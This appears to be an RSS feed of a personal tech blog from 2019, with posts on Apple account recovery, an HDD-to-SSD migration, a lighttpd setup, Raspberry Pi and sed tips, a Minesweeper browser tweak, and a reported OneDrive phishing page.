Now I am not sure if it is a UK thing, but holding onto your phone number has never been a big thing, so why Apple think any phone number you use to register will be yours for life is a mystery.

This were it gets a bit ranty. There are lots of inconsistent messages and options in iOS for recovering your Apple ID account and I even went through them all after the parent had, very confusing and in no way instructive or informative.

In the end I stated there was nothing I could do and they should contact Apple. Except Apple, like most tech companies has no support phone number, but they did have live chat, so they tried that.

After 2 and bit hours they found that the account was now under review and would not be resolve until the EARLIEST 4 days.

At this point I got involved again. The agent on the live chat was obviously dealing with multiple users and would take minutes to reply to the simplest of messages. They also would not state that the owner would have to wait 4 days(minimum) except until I had grilled them repeatedly. Instead stating the issue was out of their hands and to await the results of the review. For sometime they continued to use the line "Wait for the Apple email" and were unsupportive when the owner repeated clicked "Send and Receive" and report no emails from Apple.

I had to ask how when the whole point of having a Parent/Child relationship was supposed to eliminate this sort of technical/account issue.

The Parent had a new properly setup iOS device with the correct Apple ID and family sharing options.
The Child had an iOS device that was known to be working and have had all the Parents details on it. The Child had the Apple ID and password.

The only thing neither of them had was control of the mobile number that setup the child account many years ago.

On top of that, they had to go out of their way to find a reference TO the old phone number as almost none of the recovery processes would operate without it.

And the most confusing thing was, that before contacting support the process had sent a verification number to the brand new device and had been authorised and accepted. It really REALLY need to then explain the review process, because in fact it just went back to the start of the account recovery wizard.

Really, do I have to keep telling people buying Apple is going to lead to heart ache, not to mention a lighter wallet.
</description>
</item>
<item>
<title>10 inch drop fraid apple device</title>
<pubDate>Tue, 12 Nov 2019 21:05:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p121120192105</link>
<description>
More tech support stories from recent days.

No 1. and the funniest, is I know someone who got the latest iPhone 10 who then had a little accident with it within 24hrs.

No, not a classic screen crack or case bend. I am talking about the charging cable. If you own any iOS device that uses the lightning connector you probably have already experienced it's less than stellar robustness.

Seen many frayed connector sleeves, but this really takes the biscuit. Then entire lightning connector metal that goes into the phone has snapped off. Luckily not stuck in the phone.

So, how did this happen? Rabid dog? dropped on to hard surface from two floors up?

Nope, it fell off a 10&quote stool, on to carpet.

I will just let that sink in. A fall from ten inches onto carpet.

The owner told me they specifically upgraded to get the wireless charging, but it does not come with the charger...

More iPhone Apple support madness next time.
</description>
</item>
<item>
<title>three usb drives and a ssd</title>
<pubDate>Mon, 04 Nov 2019 23:37:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p041120192337</link>
<description>
A couple of weeks ago a friend asked me to "fix" their computer. It was running unbearably slow.

As I had originally spec'd and built this specific PC almost exactly 10 years ago I had a look.

From Windows 10 Task Manager the issues were very apparent. The HDD was in almost constant use due to constant page swapping in and out of RAM. Simply put, the machine was running out of memory and trying to get the needed extra by using the vastly slower hard disk drive.

Based on the original requirements this machine had opt for a larger HDD (1TB) and smaller RAM (3GB). These were serious trade-offs and made sense at the time.

Job 1: More RAM.
Found a number of pages discussing the specific RAM modules required by this motherboard and promptly bought the maximum of 8GB for around &pound;50. I remember when 4MB(not GB) was hundreds of pounds.
This was duly implanted with little ceremony and instantly things got much better.

Job 2: Switch to SSD.
SSD prices have become so cheap we were able to get a 500GB SSD for, again, around &pound;50.
All I had to do was make sure everything was backed up and clear down the current slow HDD from 600+GB to 500GB(or what ever the drive actually formatted too).

I thought this was going to be easy. Firstly I was told a back up was being made regularly and automatically. But when I tried to view the backup the system just spun for hours. Not happy with the inherent risk we opted to buy a new external HDD.
Now began the slow process of backing up a large amount of small files. Mainly songs and photos, but also plenty of random bits.

This took so long that I had to leave the owner twice after promising to do the work. Defragging also took hours on end with no sign of indication of when it would complete.

Eventually everything was backed up and we found lots of duplicates and other rubbish that could be unceremoniously cut.

I had found a lot of guides for moving from HDD to SSD and it seemed straight forward. Create a Windows 7(in Windows 10) System Backup and then restore it to the new drive.

Except that did not work and I ended up looking after the PC while trying to complete this simple task. Hours and hours and more hours were spent trying again and again to create a correctly sized backup and to then restore it.

I started by using Windows 10 Disk Management tools to shrink the 1TB drive. This seemed to go well. Delete stuff, Defrag(multiple hours) and the Shrink. Only, it got to just under 500GB and refused to shrink the partition any further.

I kept deleting more and more until the total size was 50GB. But it would not shrink even one byte smaller than the previous 500GB. I tried many many things none worked and it all appears to be down to unmovable NTFS system file call $BitMap.

There were many examples of users having this issue and then solving it. There were a couple that had my problem and there were no solutions. Any attempt to use the SysInternals tool contig or contig64 resulted in a Access Denied message. Even when ever attempt had been made to be Admin and disable interfering processes. I even tried from the Windows Recovery console and got the same message.

This was a big issue as the Windows System Restore would always report the target drive was too small.

Despondent, I changed tact and created a GParted USB drive. This allowed me to forcibly shrink the partition and ignore the NTFS $BitMap issue. Once the deed was done everything continued to work in Windows so I made a new System Backup.

But, the System Restore STILL said the target drive was too small. I was gob struck and tried many solutions to no avail.

What was more annoying than anything else was the number of guides that showed all this *just worked*, just not for me.

At my wits end, I created another USB boot drive, this time for Clonezilla. I now had a Windows System Recovery USB, a GParted USB and Clonezilla USB.

The guides for cloning Windows 10 with Clonezilla were a few years old and the interface I was using was from the USB creation tool UBootin.

*snip*

Turns out the version of Clonezilla that UBootin is really REALLY out of date and caused no end of issues from just not being very good. Got the latest Clonezilla and overwrote the USB.

Now I could follow the guides screenshots for screenshot and command for command.

*snip*

Got confused with MBR and GPT partitioning systems, assuming the Windows NTFS was GPT and wasted a lot of time. 

*snip*

Do not want to talk about it, but at one point I was manually creating partitions using sector byte sizes just to make Clonezilla accept partition designations.

But after what seem an age the 150GB partition was cloned onto the 500GB SSD. Job done?

NO!

Would not boot, or, more to the point would boot and then would say no system to boot. You knew, even though it had booted and we saw the Windows flag during it booting.

Luckily the Windows System Rescue USB was able to fix this and Windows finally booted all the way on the new SSD.

At this point I had disconnected the old HDD and I started on my merry way resizing the partition (and finding I had stranded 30GB at the wrong end of the disk and is now lost) and restoring all the programs and files.

This went swimmingly and finally shutdown, reattached the old HDD and booted to Clonezilla. I had realised that I need to ensure the old HDD did not boot and just sat as data drive. fdisk disabled the BOOT flag and rebooted.

First problem. The BIOS did not want to boot the SSD I knew should have booted fine. Quick cable swap fixed that and Windows booted.

Except no old data HDD. Showed as offline in Disk Manager and in a unusual sign of helpfulness I was informed it was offline due to duplicate Drive ID.

Fixed that and told Windows to use the new D Drive for all the Music.

That bit went well and ITunes picked up on the change.

The machine is now in a reasonably healthy state. A lot of other things were "worked on" but I am exhausted from doing the work(that should have been easy) and from writing all this.
</description>
</item>
<item>
<title>we queued at egx</title>
<pubDate>Sun, 27 Oct 2019 17:17:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2019.html#p271020191717</link>
<description>
Forgot to blog that we went to [url title="EGX London 2019"]https://egx.net[/url] last week.

It was interesting; We did get to play on the new Switch Ring Fit and couple of other things, but most of the time was queuing :(

Queuing was a serious job, as we were only there for 5 and bit hours and the average queue was 45mins.

On the other hand I did enjoy looking at all the merchandise and we did buy some funky cool things. From gaming mouse mats to phone controlled LED glasses!

Back to the negative, the food was incredibly expensive and restricted in choice. We did not realise there were more eating locations outside the event that would have been accessible.

On the positive, the London Excel was easy to get to via train.

Kids want to go again next year and I think if we go, we will be a little more prepared.
</description>
</item>
<item>
<title>replacement needed after firefox build barfs on cpu flags</title>
<pubDate>Sun, 27 Oct 2019 17:07:42 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2019.html#p271020191707</link>
<description>
I am a bit excited due to ordering a new computer. My current machine is 9+ years old and starting to hit it's limits. For instance the Firefox build failed because a certain CPU flag does not exist on this old architecture. Did find a way around it, but still painful.

This will be the first computer I have not build myself since the Amiga 500 ...!
</description>
</item>
<item>
<title>work attacks shark for bob and drag</title>
<pubDate>Sun, 27 Oct 2019 16:58:53 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2019.html#p271020191658</link>
<description>
Actual progress on the [url title="Shark Project"][/url]!

Firstly I had been heavily refactoring the code to make it more readable and reusable.

Since then I have created the Tile system for sizing and location, which for some reason had me a be tided up with recursive thoughts for too long.

Now I have an animation for creating the Letter Tiles, meaning they sort of "pop" and "bob" as if launched from under the sea. This will also be the animation when a Shark lets go of a stolen tile.

But the big news is the Tiles are draggable and that includes mouse interaction as well as single finger touch.

Next piece of work will be handling released Tiles and how they find their way to the correct column and how other Tiles are affected by this action.
</description>
</item>
<item>
<title>microsoft is phishing a bit late in the season</title>
<pubDate>Tue, 15 Oct 2019 20:43:29 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2019.html#p151020192043</link>
<description>
Back on 2nd August a member of staff received an odd email, they forwarded it to me and I opened the link in sandbox.

What was interesting was the nature of the link. It was of a [em]onedrive.live.com/survey?resid.......[/em] format.

On opening the link in a browser the user was presented with a Office 365 login box, or was it?

To my eye it looked odd, so I poked it a bit.

It turned out to be an Office 365 spreadsheet where each cell had the border turned off and the the ones in the middle formatted to look like a Username + Password box.

This then submitted the user entry to a "survey" and redirected to a real Office 365 login page.

I found the abuse reporting section for onedrive and tried to give as much information regarding the nature of this page ...

*crickets*

Then on October 14th, only 10 weeks later I get a response stating they would "look in to it".

At least Google has the courtesy of not replying to my phishing reports.
</description>
</item>
<item>
<title>build to the light</title>
<pubDate>Sat, 12 Oct 2019 23:15:30 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2019.html#p121020192315</link>
<description>
More procrastination on the Shark side of things. Firefox is now blocking local file linking to certain other local files and I was fed up running Python web server instances.

Had a look at Apache and nginx, but both had nightmare configs. Finally opted for lighttpd

Install
<code>emerge --ask www-servers/lighttpd</code>

Setup [em]/etc/lighttpd/lighttpd.conf[/em]
append
<code class="output">
$SERVER["socket"] == "127.0.0.1:8080" {
  server.name = "www.genfic.com"
  server.document-root = "/var/www/www.genfic.com/"
  server.errorlog = "/var/log/lighttpd/http_error.log"
  accesslog.filename = "/var/log/lighttpd/http_access.log"
}
</code>

Add to services
<code>rc-update add lighttpd default</code>

Run
<code>/etc/init.d/lighttpd start</code>

Initiate
<code>echo this is a test >> /var/www/www.genfic.com/index.html</code>

Test
<code>curl "127.0.0.1:8080"</code>

Result
<code class="output">this is a test</code>

time to get back in the water...

This mainly came from [url title="lighttpd Gentoo Wiki"]https://wiki.gentoo.org/wiki/Lighttpd[/url] and [url title="Official lighttpd config docs wiki"]https://redmine.lighttpd.net/projects/lighttpd/wiki/Docs_Configuration[/url]
</description>
</item>
<item>
<title>autocomplete mind blown tab</title>
<pubDate>Tue, 01 Oct 2019 17:32:34 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2019.html#p011020191732</link>
<description>
I have been using Linux for 20+ years and Unix for few years before that, but even I do not know every trick.

In Bash shell you can use [em]TAB[/em] to auto-complete a path and sometimes even basic commands.

If you create your own script then the [em]TAB[/em] does not know if it should be showing results for folders or/and files and it is really annoying with complex file names and paths.

The trick is to use instead
[em]ALT[/em] + [em]/[/em]

{- mind blown -}
</description>
</item>
<item>
<title>bash powerful powercut</title>
<pubDate>Tue, 01 Oct 2019 17:21:08 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2019.html#p011020191721</link>
<description>
My [url title="powercut wifi IP address fix worked"]Sep2019.html#p250920192158[/url]. Or, it did not break :)

No idea what is going on, entire street was down again. Apparently some local schools were closed as they could not recover.

Normally power cuts are in the evening/night, this one was in the morning.
</description>
</item>
<item>
<title>rocking a reboot crontab for speedy pi</title>
<pubDate>Wed, 25 Sep 2019 21:58:17 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2019.html#p250920192158</link>
<description>
New power cut, old problem.

When the power came back on one of my Pi units booted quicker than the router and did not get a IP address on the network.

So I concocted the following, not sure it will work and as the number of power cuts in the area is less than one per year maybe I never will.

<code>
sudo crontab -e
@reboot sleep 120;ifconfig wlan0 | egrep "inet 219\.260\.0" || echo "ERROR IP address not wifi ready">/var/log/reboot.log; shutdown -r now
</code>

On boot roots crontab will wait 2 mins then check to see if the wlan0 network interface has an IP address in the expected range and if not logs and error and reboots.
Hopefully by that time the Wifi and router will be up.
</description>
</item>
<item>
<title>squirmy wormy worm blended under the skin</title>
<pubDate>Sat, 21 Sep 2019 15:20:31 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2019.html#p210920191520</link>
<description>
A quick creepy wiggly worm under the skin animation :)

There was [url title="an interesting question on the Blender Stackexchange about creating the effect of a worm under skin"]https://blender.stackexchange.com/questions/153177/worms-crawling-under-skin/153181[/url]

A number of replies created great results, but the example using [em]Vertex Weight Proximity[/em] looked a bit flat when I tried it out. So I added a [em]Lattice modifier[/em] to compress and decompress the worm as it travels.

the result is a bit unsettling ...

<iframe width="560" height="315" src="https://www.youtube.com/embed/Td6LaZ0ISjI" frameborder="0" allowfullscreen></iframe>
</description>
</item>
<item>
<title>right sed lowercase fred</title>
<pubDate>Sat, 14 Sep 2019 11:14:38 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2019.html#p140920191114</link>
<description>
Random Sed tip

Taking a text file of 
<code>Firstname Lastname</code>

I needed to create
<code firstnamelastname, Firstname, Lastname</code>

and in each case the "case" is important.

<code>cat names.txt | sed -re "s/(\S+)(\s)(\S+)/\L\1\3\E,\1,\3/"</code>

Which breaks down to
<code>(\S+)</code>
Creating match no. 1 containing only non Space characters one of more times.

<code>(\s)</code>
Creating match no. 2 containing only single Space character.

<code>(\S+)</code>
Creating match no. 3 containing only non Space characters one of more times.

Then 
<code>\L\1\3\E</code>
Lowercases matches 1 and 3, with the [em]\E[/em] ending the lowercasing action. Otherwise everything else in the replacement string will be lowercased to the end.

<code>,\1,\3</code>
just adds the commas and the required matches.

The real instance was more complicated, but this will be enough if I ever need it again.
</description>
</item>
<item>
<title>where we are going we do not need debuggers sharks wait</title>
<pubDate>Mon, 02 Sep 2019 19:10:49 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2019.html#p020920191910</link>
<description>
Was doing some [url title="Shark"]https://github.com/robgithub/AnagramSharkAttackJS-E[/url] work last night and hit a snag.

Something I had done was causing the page to hang. I thought it was an infinite loop. Spent some time trying to remove anything I had done recently and commenting out huge chunks, but nothing worked :(

I realised I had removed most of the functioning code so next I tried adding break-points at various places, but they were not being hit and the page still showed it was never loaded.

Worried I created a new empty page with just two lines of JavaScript and one of those being 
<code>debugger;</code>

This should have acted as an instant break-point, but again was not being hit ...

Fast forward to today and after a lot of Googling and trying new Firefox profiles etc I found the fix.

<code>about:config</code>
set 
<code>devtools.debugger.new-debugger-frontend = false</code> (was true)

This is Firefox 60.8
</description>
</item>
<item>
<title>lost ffmpeg found in another universe</title>
<pubDate>Sun, 01 Sep 2019 17:46:36 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2019.html#p010920191746</link>
<description>
After the [url title="debacle with the Windows PC taken over by a child's account"]Aug2019.html#p310820191857[/url] I was left with a new local account and I had to reinstall Ubuntu via WSL

All I needed was for FFMpeg to work, and having done this a few times of the last few years I thought it would be straight forward.

NO!
<code class="output">E: Unable to locate package ffmpeg</code>

and even avconv had the same issue. Found lots of info about older Ubuntu releases, but nothing matched.

The fix, for my reference is to add the universe and multiverse to the available packages and update

<code>sudo add-apt-repository universe multiverse
sudo apt update
sudo apt upgrade
sudo apt install ffmpeg</code>

not doubt I will have to refer to this again in the future. Hi! future me.
</description>
</item>
<item>
<title>a name by any other name might just work</title>
<pubDate>Sun, 01 Sep 2019 10:44:38 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2019.html#p010920191044</link>
<description>
Javascript is usually pretty reliable. Run here, run there, no problem. Until, well, me.

I needed to pull some information off a web page. I opened the Dev tools and Console and wrote bits of Javascript that would get what I needed. All the individual tests worked fine, but when I came to put it in a loop the wheels came off.

The key thing to note was up until this point I was just allowing the results to be displayed in the Console, the next step was consolidating them.

<code>"one two three".split(' ');</code>
returns an Array 
<code class="output">['one','two','three']</code>
[em]split[/em] is function of Javascript String. It takes a separator and "splits" the string on that. Simple and very useful.

so you would expect
<code>name = "one two three".split(' ');
name[0];</code>

would produce 'one' as the first element of the new Array, but instead it returns 'o'
and Array.IsArray(name) returns false;

but

<code>aname = "one two three".split(' ');
aname[0];</code>

returns 'one'

and yes, the only change is from "name" to "aname".

It appears [em]name[/em] is [em]window.name[/em] and even using
<code>var name = "one two three".split(' ');</code>
does not fix it!

talk about pulling my hair out.

So why is this not more well known?
It will only affect users typing directly into the console, as most code will be in a function/object and be isolated from the global [em]window.name[/em]

The [em]window.name[/em] prototype converts everything to a String not just Arrays.
[url title="Mozilla developer reference"]https://developer.mozilla.org/en-US/docs/Web/API/Window/name[/url]

[em]window.name will convert all values to their string representations by
using the toString method.[/em]
</description>
</item>
<item>
<title>setting fire to the foxing the minecraft hack</title>
<pubDate>Sun, 01 Sep 2019 10:30:42 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2019.html#p010920191030</link>
<description>
And the same [url title="Aug2019.html#p310820192002"]Minesweeper hack[/url] process works in Firefox.

Sadly, it is proving rather difficult and although I consistently reach about 200 mines, 50% completed, I am not getting any further.

A worthy, if time consuming challenge, indeed.
</description>
</item>
<item>
<title>whats that minesweeper mega mode</title>
<pubDate>Sat, 31 Aug 2019 20:02:36 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2019.html#p310820192002</link>
<description>
While being stuck on a Windows computer I started to play Minesweeper, except it does not come with Windows 10.

Luckily Google had me covered
[url]https://www.google.com/search?q=minesweeper[/url]

The browser based game has EASY, MEDIUM and HARD

<img src="images/minesweeper_medium.png" alt="minesweeper browser game from google" >

The three different modes are

EASY
 10x8 grid
 10 mines
 45px tiles size

MEDIUM
 18x14 grid
 40 mines
 30px tile size

HARD
 24x20 grid
 99 mines
 25px tile size

Minesweeper is surprisingly fun and engaging and I was already proficient in HARD mode. In the past, I believed it was mostly luck when things got difficult, but I now have a number of rules that make almost any game a 100% certainty.

So where do I go?

What if I could make the game run with a larger grid, more mines and small tiles ...

It was not easy and the biggest problem is clicking on the wrong tile because it is too small, but here is MEGA mode

MEGA
 50x50 grid
 400 mines
 10px tile size

<img src="images/minesweeper_mega.png" alt="minesweeper browser game from google in hacked mega mode" >

I could not find any way to make it any easier than ...

[url title="Google minesweeper"]https://www.google.com/search?q=minesweeper[/url]

Open dev tools for Chrome

Find the file with "s_Qe(" and then set a breakpoint after the line
<code>a.Ba = a.Hf[a.Ga];</code>

<img src="images/minesweeper_code_behind.png" alt="minesweeper browser game from google hacking in debugger" >

Change the game mode to HARD - which will trigger the breakpoint
and enter the following into the Console
<code>a.Lh.HARD=10
a.Kh.HARD=400
a.Ba.width = 50
a.Ba.height = 50   
</code>

Continue out of the breakpoint.

Where "a.Kh.HARD" is the number of mines and "a.Lh.HARD" is the tile size.

The "a.Hf" was a function so I could not update it in the same way as the Tile size and Number of mines.

Originally I tried 200 mines with my 50x50 grid and with one click I had uncovered 80% :D

Totally impractical, but immense fun!
</description>
</item>
<item>
<title>child of xbox pwns windows companion</title>
<pubDate>Sat, 31 Aug 2019 18:57:28 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2019.html#p310820191857</link>
<description>
I really thought it was going to be a good day for Sharks, how wrong could I be?

In fact, I do wonder if I should be banned from owning and operating computers :(

As a family, we have a Windows machine for "homework", that is, no games, work and investigations only. 

As such, it had only a [em]local account[/em]. It did not have a Microsoft account i.e. email and password. It did have a local password.

All was well until one of the boys wanted to record himself play Xbox games and recording a voice over.

To record game play on the Xbox we had previously used an external recording device for the voice track and then used Blender VSE to combine it with the video.
This involved purchasing a USB thumb drive and formatting it to NTFS so the Xbox could record longer than a few minutes. It also involved recording the voice over via a phone and then tripping over ourselves to copy the right file to the PC.

But this seemed all over the top when we were using a headset with a Mic on the Xbox. But, no that is not how Xbox Captures work for some reason.

The way you are supposed to do it is to stream the game play to a PC using the Xbox companion app and record your voice on the PC.

Started up the PC and find the Xbox app is built into Windows 10. Start the app and it asks for the Xbox account that you are connecting to.

Ages ago I setup a Xbox specific account to use, but as I and my older son wanted to use it unrestricted I also created a [em]child account[/em] which then made my account a [em]family account[/em]. Which I only ever use for logging on to the Xbox.

My son signs into the Xbox app with his [em]child account[/em] and we muck about, but end up with some footage recorded with voice over.

Then I tried to open Google Chrome, "Access restricted, ask a Parent", wait, what?!

The computer was logged in as [em]child account[/em] even though no one had logged out the [em]local account[/em].

I tried logging out and was presented with my normal login screen with my [em]local account[/em] details, enter password, login and ... same issue.

Go to Settings and Accounts and [em]child account[/em] is only account and is also Administrator!

Found the [em]child account[/em] was still logged into Xbox app, so signed out and rebooted ... same result, login as [em]local account[/em] but then find [em]child account[/em] is the user!

Remember I cannot Google anything, so I try the Help button and unsurprisingly find it very lacking, but what's this? A [em]Chat[/em] option? lets try that...

2 hours later and multiple Microsoft technicians have remoted on to the machine, but the I now have a [em]local account[/em] once again.

It would have been a lot quicker if it was not for every time they tried to open a browser window they got the "Access restricted, ask a Parent".

In the end the fix was to create a new [em]local account[/em] set it as administrator and remove all the data from the original one.

Imagine if I had had no clue what I was doing and had not found chat.

Being stuck on a Windows machine waiting around did mean that the next blog post came about ;)
</description>
</item>
<item>
<title>opps up shave your head</title>
<pubDate>Wed, 28 Aug 2019 19:14:51 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2019.html#p280820191914</link>
<description>
And ... flog system still needs a followup post to correct any errors ;)

Still, if that is the only downside to have a static blogging server ...
</description>
</item>
<item>
<title>seriously why can i not watch spiderman</title>
<pubDate>Wed, 28 Aug 2019 16:31:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2019.html#p280820191631</link>
<description>
Why can I not watch Spiderman?

No, not the latest films. Saw Into the Spider-verse the other day, very good and saw Far From Home in the cinema last month.

I am talking about the original Toby M. Spiderman film from 2002. Why was I trying to watch that?

It was Super Hot and watching TV was the only thing I was capable of. Having just finished off Spiderman 3 I wanted to watch all the early ones and Spiderman was listed as only have 4 days left on Now TV.

We have had Now TV for many years as a streaming service. It is provided by Sky but you do not need a contract, just pay monthly. Avoiding buying DVDs when they are released and waiting a 6 months means the Now TV bill pays for itself!

But something weird happened. I finished watching Spiderman 3 and selected Spiderman. The movie started and after 5 mins the TV gave me a message about HDMI Enhanced mode, then the screen went black but the audio stayed. Also a Dolby Vision logo popped up momentarily.

No idea what that was, just need to change the settings on the TV ... and so it began.

The TV is only 2-3 months old and has just worked as a TV, I had not ventured into the settings. So press the .... Hmmm no Settings or Menu button and the &#x2302;(home) button does nothing ...
Maybe I need to use the controls on the TV itself ... nope.

Turn everything off and on and again and movie plays fine ... for another 5 mins, then the issue repeats.

Finally find I can switch sources to analog and then the &#x2302;(home) button gives me the option to go in to settings.

Settings -&gt; Sources -&gt; HDMI 1-&gt; change from Enhanced to Regular. Laugh at how is it was and start watching again ... for another 5 mins, then the issue repeats.

Strange, it says Enhanced again. Make the change, exit out, go back in still Regular. Start watching again ... for another 5 mins, then the issue repeats.

Start investigating. Dolby Vision appears to be a HDMI 2.0 feature that the Now TV box is invoking, but ...

The Now TV box only does HDMI 1.4 and has no options that could cause/enable this.

Toshiba TV (CT-8541) happily reports it is switching in to Enhanced mode from Regular but has no option to disable the function.

I tried swapping HDMI cables to no effect and got all grumpy about the TV. Started Googling customer services and complaints to find Toshiba has been rebranded, supposedly only for PC parts but regularly got redirected to DynaBook.

There is something else about the TV I have not mentioned. It is a Smart TV, which means it is really REALLY dumb. I tried to set it up with Wi-Fi but the password box is not long enough, so it does not get any updates. Maybe this issue would be solved by downloading a firmware upgrade and transferring it via USB thumb drive. 

Well, if it can, I cannot find any instructions and ...

I noticed that if I was not trying to watch Spiderman there was no issue. I was mucking about in menus for ages and nothing happened, so ...

I selected movie at random "Star Wars A New Hope" and watched 10 mins, no issue. I left it running and went to do some chores. Came back and ... still no issue.

WHY CAN I NOT WATCH SPIDERMAN?

except I can, I just gave up and used the TV in the bedroom.

So, is Sky broadcasting old 2002 films with hidden HDMI enhancements, no idea.
</description>
</item>
<item>
<title>super hot x3 ++</title>
<pubDate>Wed, 28 Aug 2019 15:41:50 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2019.html#p280820191541</link>
<description>
We are Super Hot! X 3
Well, yesterday and a few days ago we were, today is 25&degree;s-ish and quite pleasant.

When I am Super Hot I really cannot get anything done and it was 32&degree;+. So I feel lazy but excused ;)

That is Super Hot #1

Super Hot #2 is the game on the XBox one. It is game that is not like any other and yet...
Imagine a first person shooter that lasted 8-15 seconds but those seconds were drawn out to 3-5 minutes and you control everything your character does. This includes dodging bullets, fists and katanas.

The game has been around since 2016 and always tries to portray a veil of mystery and that helps with the story line. The game has a lot more to it including lots of replay options. It is difficult to talk about it in any depth without spoiling the experience.
A must buy!

And Super Hot #3?
We went to Rush VR and one of the experiences was Super Hot in VR!!!
Cannot express how much fun this was, especially as I already knew so much. The mechanics are different and the immersive VR dials this up to 11.
If I ever get to the point where we can play the HTC Vive in house, we are buying this game.

Speaking of Rush VR. Most of it was networked HTC Vives and worked beautifully. There was a two player racing game the staff kept encouraging people to try that did not have Vives. Not sure what they were but that made me feel so sick. Guessing, due to the lack of head tracking, only roll, pitch and yaw. Did not help the car shook violently.

SUPER
HOT!

[url title="Wikipedia entry on Superhot"]https://en.wikipedia.org/wiki/Superhot[/url], lots of interesting stuff about how, what, why and where.
</description>
</item>
<item>
<title>password fields unbound by jquery 3</title>
<pubDate>Mon, 19 Aug 2019 23:14:06 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2019.html#p190820192314</link>
<description>
Had a fun day with a company with lots of automated processes that should have worked, but didn't.

Then had to brave all the support options that were setup for the sole purpose of telling users how to use the automated systems and had no way of reporting or dealing with any actual issues.

Fast forward a few hours and I had a new account and password reset link. 

"Enter your new password"

/me opens up password manager and generates a long and random password.

/me copies new password and switches back to web form.

/me tries to paste the new long and random password into the form ... nothing happens, try a few times, including from other places.

It is blocking me pasting my long and random password.

/me is not happy.

But a quick look in the source and it is clear a jQuery event handler is blocking the paste event.

<code>$("password-field").unbind()</code>

/me pastes in long and random password, looking very smug.

It seems to be a common thing for big companies to either disallow or ignore long passwords or pull this kind of stunt which serves no purpose other than to restrict the use a password managers and difficult to guess passwords.
</description>
</item>
<item>
<title>shark attack sonar sighted</title>
<pubDate>Sat, 17 Aug 2019 20:55:47 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2019.html#p170820192055</link>
<description>
lots going on slowing shark development, but finally an update.

I have completed a basic sonar with blip and the shark models.

You can see them on github
[url title="AnagramSharkAttackJS-E"]https://robgithub.github.io/AnagramSharkAttackJS-E/[/url]

The Sonar works with some interesting gradient tricks and a Clip Path. The green circles are actually a repeating gradient with tight Stops. This took sometime to get working due to all the centers, offsets and rotations.

The Sharks did not have tails in the original, but I could not help myself. In fact, the biggest problem was stopping myself from making them more realistic. They will only every appear long enough to grab a tile.
The jaw-less shark is there to have the tile show as in the mouth.
I also set the eyes to white for the attack.

Now I need to just get on with the game. I was debating trying to get all the auto scaling working first, but that is a pain I will leave until the end or until it becomes an issue.
</description>
</item>
<item>
<title>inkscape mouse scrolls the shark with no snapping</title>
<pubDate>Fri, 02 Aug 2019 23:35:35 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2019.html#p020820192335</link>
<description>
In shark news ... OK Inkscape news ...

I was hitting a few interface issues, nothing major, just a pain. So I stopped and fixed those rather than creating my shark.

No. 1  Mouse Wheel not zooming (scrolls the canvas up and down)

I believe this stems from Inkscape having such a long heritage, when wheeled mice were not that common? (quick bit of Googling shows this as false, but I remember the days).
There are number of ways of zooming and handling the canvas scroll, but all I want is to zoom in and out using the mouse wheel.

The fix is to find the secret setting.
Edit/Preferences/Behaviour/Scrolling/[X] Mouse wheel zooms by default

<img src="images/inkscape_menu_preferences.png" alt="Inkscape preferences menu">
<img src="images/inkscape_scrolling_mouse.png" alt="Inkscape mouse wheel scrolling preferences">

No. 2  Control Nodes auto snapping when near Nodes

Seems to be a useful setting, just wish it was not on by default.
 
<img src="images/inkscape_node_unsnapped.png" alt="Inkscape uncollapsed Nodes">
<img src="images/inkscape_node_snapped.png" alt="Inkscape collapsed Nodes">

Click the [em]Snapping[/em] icon in the top right toolbar to disable [em]All snapping[/em] or try toggling the [em]snapping[/em] options individually.

<img src="images/inkscape_snap_toolbar_deactivate.png" alt="Inkscape snapping toolbar enabled and disabled">

I only resorted to this when none of the Node type seemed to revert the snap, but now I can undo it with the Smooth icon every time?!

<img src="images/inkscape_node_autosmooth.png" alt="Inkscape node smooth icon">

maybe now I can do some shark-ing
</description>
</item>
<item>
<title>more multimedia mplayer keys</title>
<pubDate>Wed, 31 Jul 2019 17:42:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2019.html#p310720191742</link>
<description>
No sharks, but we were in a heatwave :)

Quick note about multimedia keyboards. I did not realise mine was one, oops.

A quick mplayer setup from
[url]https://www.aularon.com/linux/mplayer-multimedia-keyboard-buttons/[/url]

and then pointing my keys to to those commands via XFCE / Settings / Keyboard / Application Shortcuts / ADD

Job done.

To be fair I did [url title="do a lot for Linux and multimedia keyboards"]http://www.jumpstation.co.uk/linux/cymotion/[/url] back in the day and this CMSTORM keyboard has the keys at the back and very low down. Easy to miss ;)
</description>
</item>
<item>
<title>quick anagram shark update</title>
<pubDate>Sun, 21 Jul 2019 16:08:58 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2019.html#p210720191608</link>
<description>
Finally got around to putting my test pages up for [url title="Anagram Shark Attack JS-E"]https://robgithub.github.io/AnagramSharkAttackJS-E/[/url]

I feel that I just need to dedicate some time to this to quickly get a working alpha.

Next task is SVG sharks &gt;-^)&gt;
</description>
</item>
<item>
<title>vr pi surfaces at teen tech</title>
